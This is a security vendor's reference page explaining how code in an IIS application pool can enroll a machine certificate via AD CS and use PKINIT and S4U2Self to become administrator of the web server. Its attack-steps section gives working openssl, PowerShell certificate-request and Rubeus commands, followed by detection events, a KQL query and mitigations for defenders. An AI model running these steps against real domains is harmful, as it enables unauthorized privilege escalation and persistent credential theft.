1. Resources
  2. Identity Threats
  3. Active Directory

IIS AppPool Identity to Machine Certificate Enrollment

Also known as: ApplicationPoolIdentity machine certificate abuse, IIS AppPool to SYSTEM via AD CS, w3wp machine enrollment and S4U2Self, Certi-Bhai IIS privilege escalation

Code running in an IIS application pool enrolls a machine certificate as the web server's computer account, then uses S4U2Self to get an administrator's ticket to that server.

Platform
Active Directory
Impact
High
Last updated
Attack difficulty
Medium
Detection difficulty
Medium
Privileges required: Specific rights or roles
Code execution as an IIS application pool identity (ApplicationPoolIdentity) on a domain-joined web server that can reach the CA and a domain controller.
What the attacker gains
A logon certificate for the web server's computer account and, through S4U2Self, administrative access to that server as any domain user. Nothing beyond that host by itself.
Threat groups
APT29NIMBUS MANTICOREAkiraGroups that MITRE ATT&CK records using T1649, T1558.

How it works

IIS runs each application pool under its own low-privileged virtual account, IIS AppPool\<pool name>. Locally that account can do little. On the network it has no identity of its own: Microsoft's documentation states that application pool identities, like Network Service before them, use the machine account to access network resources. A request from the worker process w3wp.exe to another server is authenticated as SRV01$.

Computer accounts are enrollees in Active Directory Certificate Services. The default Machine template grants Enroll to Domain Computers and issues a certificate with Client Authentication whose subject the CA builds from the computer's directory object. So code inside an application pool, for example a web shell or a deserialization payload, can submit a certificate request that the CA sees as coming from the web server's computer account, and the CA issues a machine certificate for that server.

The request can carry a public key generated anywhere. If the attacker creates the key pair on their own system and sends only the signing request through the web server, the private key never exists on the server and the issued certificate is a complete, portable credential for SRV01$.

A computer account is not an administrator of its own host over the network, so one more step is needed. With the certificate the attacker requests a TGT as SRV01$ through PKINIT, then uses the Kerberos S4U2Self extension: a service may ask the KDC for a ticket to itself on behalf of any user. The attacker asks for a ticket for a domain administrator to SRV01$, changes the service name in the returned ticket to cifs/SRV01 (the service name is not protected in the ticket), and presents it to the server. The server decrypts it with its own key and sees an administrator.

This is an outbound identity transition, from a sandboxed local account to the computer's domain identity, followed by a return over the network. It is not token impersonation.

Prerequisites

  • Code execution in an IIS worker process whose pool runs as ApplicationPoolIdentity (or Network Service or Local System) on a domain-joined server.
  • Network reach from the web server to an enterprise CA's enrollment interface.
  • A published template that the computer account can enroll in and that allows client authentication, without manager approval. Machine is the default.
  • Reach from the attacker to a domain controller for PKINIT and to the web server's SMB or another service for the final step. The attacker can route this through the compromised server.
  • A domain controller that supports PKINIT.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Confirm the outbound identity

From the code execution in the pool, check the local identity and the pool configuration. whoami returns iis apppool\<pool name>. The pool's identity type is in the IIS configuration:

%windir%\system32\inetsrv\appcmd.exe list apppool /text:*

identityType:"ApplicationPoolIdentity" means outbound connections use the computer account. A specific user name there means they use that user.

2. Create the key pair and request off the server

On the attacker's system:

openssl req -new -newkey rsa:2048 -nodes \
    -keyout machine_cert.key -out machine_cert.csr \
    -subj "/CN=SRV01.corp.example.com"

The subject is a placeholder. The Machine template builds the real subject and DNS name from the directory.

3. Submit the request from the worker process

The request has to be sent by the pool so that the CA authenticates the computer account. The public cert.aspx proof of concept in the Certi-Bhai repository does this from an ASPX page: it creates a CertificateAuthority.Request object, sets the attribute CertificateTemplate:Machine, calls Submit with the CA's configuration string and returns the certificate. The same calls in PowerShell, run in the pool's context:

$csr = Get-Content C:\Windows\Temp\machine_cert.csr -Raw
$req = New-Object -ComObject CertificateAuthority.Request
# 0x0 = CR_IN_BASE64HEADER (PEM with header lines), 0x100 = CR_IN_PKCS10
$disposition = $req.Submit(0x0 -bor 0x100, $csr, "CertificateTemplate:Machine", "SRV01.corp.example.com\CORP-CA")
$req.GetCertificate(0) | Set-Content C:\Windows\Temp\machine_cert.cer

A disposition of 3 (CR_DISP_ISSUED) means the certificate was issued.

4. Combine certificate and key

Back on the attacker's system, build a PKCS#12 file from the returned certificate and the key that never left:

openssl pkcs12 -export -in machine_cert.cer -inkey machine_cert.key \
    -out machine_cert.pfx -name 'SRV01$'

5. Request a TGT as the computer account

Rubeus.exe asktgt /user:SRV01$ /domain:corp.example.com /certificate:machine_cert.pfx /password:<pfx-password> /nowrap

Keep the base64 ticket from the output. From Linux, certipy auth -pfx machine_cert.pfx -dc-ip 192.0.2.10 returns a credential cache and the computer account's NT hash.

6. S4U2Self to the same host

Rubeus.exe s4u /self /impersonateuser:Administrator /altservice:cifs/SRV01.corp.example.com /ticket:<base64-machine-tgt> /ptt /nowrap
klist
dir \\SRV01.corp.example.com\C$

Rubeus requests a ticket for Administrator to SRV01$, rewrites the service name to CIFS on the host and injects it. The share listing confirms administrative file access. Remote execution as SYSTEM, for example by creating a service, is a separate step with the same ticket or one rewritten for another service name.

Impact

The attacker moves from a sandboxed web application identity to administrator of the web server: access to its disks, its services, its LSA secrets and any credentials of users who log on to it. That is a privilege escalation on one host, and on an internet-facing server it is often the step that turns a web vulnerability into a foothold in the domain.

The certificate also outlives the web shell. Until it expires or is revoked it authenticates as the server's computer account from anywhere, and S4U2Self can be repeated at will, which is the machine persistence described under certificate account persistence. If the computer account has rights of its own in the directory, such as delegation or membership in a privileged group, those are compromised too.

The S4U2Self ticket is usable only against services running under the same computer account. It is not an administrator ticket for other machines.

OPSEC and artifacts

  • No local exploit. The operator uses no token privilege and drops no kernel or service exploit, so tooling tuned for Potato-style escalation does not fire. What exists on the server is the web shell, a short script or ASPX page, and for a moment the request and certificate files, unless they are passed in memory.
  • The private key is never on the server. Nothing in the machine key store changes, so local certificate monitoring sees nothing.
  • A machine certificate request from the web tier. The CA logs event 4886 and event 4887 for SRV01$ on the Machine template. A server that has never enrolled, or that enrolls outside its autoenrollment cycle, stands out in the CA database.
  • w3wp.exe talking to the CA. A worker process making RPC or DCOM connections to the CA is unusual. Process creation logging, event 4688, also shows child processes of w3wp.exe such as powershell.exe or appcmd.exe.
  • PKINIT for a web server. Event 4768 on the domain controller shows SRV01$ requesting a TGT with a certificate, from the attacker's address if Rubeus runs elsewhere.
  • S4U2Self. Event 4769 records a service ticket requested by SRV01$ for itself. Rubeus rewrites the service name on the client side, so the domain controller's event does not say cifs.
  • Administrator logon to the web server from an address where no administrator works, followed by access to administrative shares.

Detection

  • Machine template issuance to servers that should not enroll. Baseline which computer accounts request certificates and when. Alert on 4887 for web and application servers outside that baseline.
  • Certificate logon by server accounts. 4768 with certificate pre-authentication fields for computer accounts that have no reason to use PKINIT. The NTLM relay rules include a rule for a computer account obtaining a TGT with a certificate, which fires here as well.
  • Self-targeted service tickets from a host, followed by an administrative logon on that same host by a user who was not logged on anywhere near it.
  • Worker process behavior. w3wp.exe spawning shells, creating ASPX files in web roots, or connecting to the CA server.
// Certificate-based TGT requests by computer accounts, to compare with known PKINIT users
WindowsEvent
| where EventID == 4768 and Provider == "Microsoft-Windows-Security-Auditing"
| extend Account = tostring(EventData.TargetUserName),
         Serial = tostring(EventData.CertSerialNumber),
         Issuer = tostring(EventData.CertIssuerName),
         Source = tostring(EventData.IpAddress),
         Status = tostring(EventData.Status)
| where Status == "0x0" and isnotempty(Serial) and Account endswith "$"
| summarize Requests = count(), Sources = make_set(Source) by Account, Issuer, Serial

Domain controllers themselves and devices that use certificate authentication for network access appear in the result and belong in the baseline. The audit policy guide lists the Kerberos audit settings the query depends on.

Mitigation

  • Segment the web tier from the CA. Application servers that do not need to enroll should not reach the CA's RPC and DCOM endpoints. Where they need certificates, issue them through a controlled process instead of open enrollment.
  • Narrow machine enrollment. Replace Domain Computers on machine authentication templates with groups of the computers that need them, and unpublish machine templates nobody uses.
  • Run pools that need no network identity without one. Where an application must not act as the computer on the network, give the pool a dedicated low-privileged domain account, or a group managed service account, that has no enrollment rights.
  • Patch and harden the web applications. The technique starts from code execution in the pool. Remove write access to web roots for the pool identity and monitor for new script files.
  • Restrict what the computer account can do. Review delegation settings and group memberships of server computer accounts so that a stolen machine credential stays confined to its host.
  • Treat the CA as Tier 0 in network design, as described in the Active Directory hardening guide.
  • After an incident, revoke the machine certificate, publish a CRL, reset the computer account password so the recovered hash stops working, and rebuild the server if administrative access was used.

Detection rules for this attack

Log events to collect

FAQ

Why can an application pool enroll a certificate as the computer?

An application pool identity is a local virtual account. Microsoft documents that such identities, like Network Service, use the machine account when they access network resources. When code in the pool calls the CA, the CA authenticates the connection as the server's computer account and applies the enrollment rights of that account.

Is this a local privilege escalation like the Potato attacks?

No. The local token of the worker process is not elevated and no impersonation privilege is used. The process borrows the computer's network identity, obtains a credential for it from the CA, and comes back to the same host over the network with a Kerberos ticket for an administrator.

Does it give access to other servers?

Not directly. The S4U2Self ticket is encrypted with the web server's own key, so only services on that server accept it. The attacker does hold the computer account's certificate and NT hash, and whatever rights that account has elsewhere in the domain come with them.

Does a custom application pool account change this?

Yes. If the pool runs as a domain service account, outbound connections use that account, not the computer account, and the CA applies that account's enrollment rights. The technique as described depends on ApplicationPoolIdentity, Network Service or Local System.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.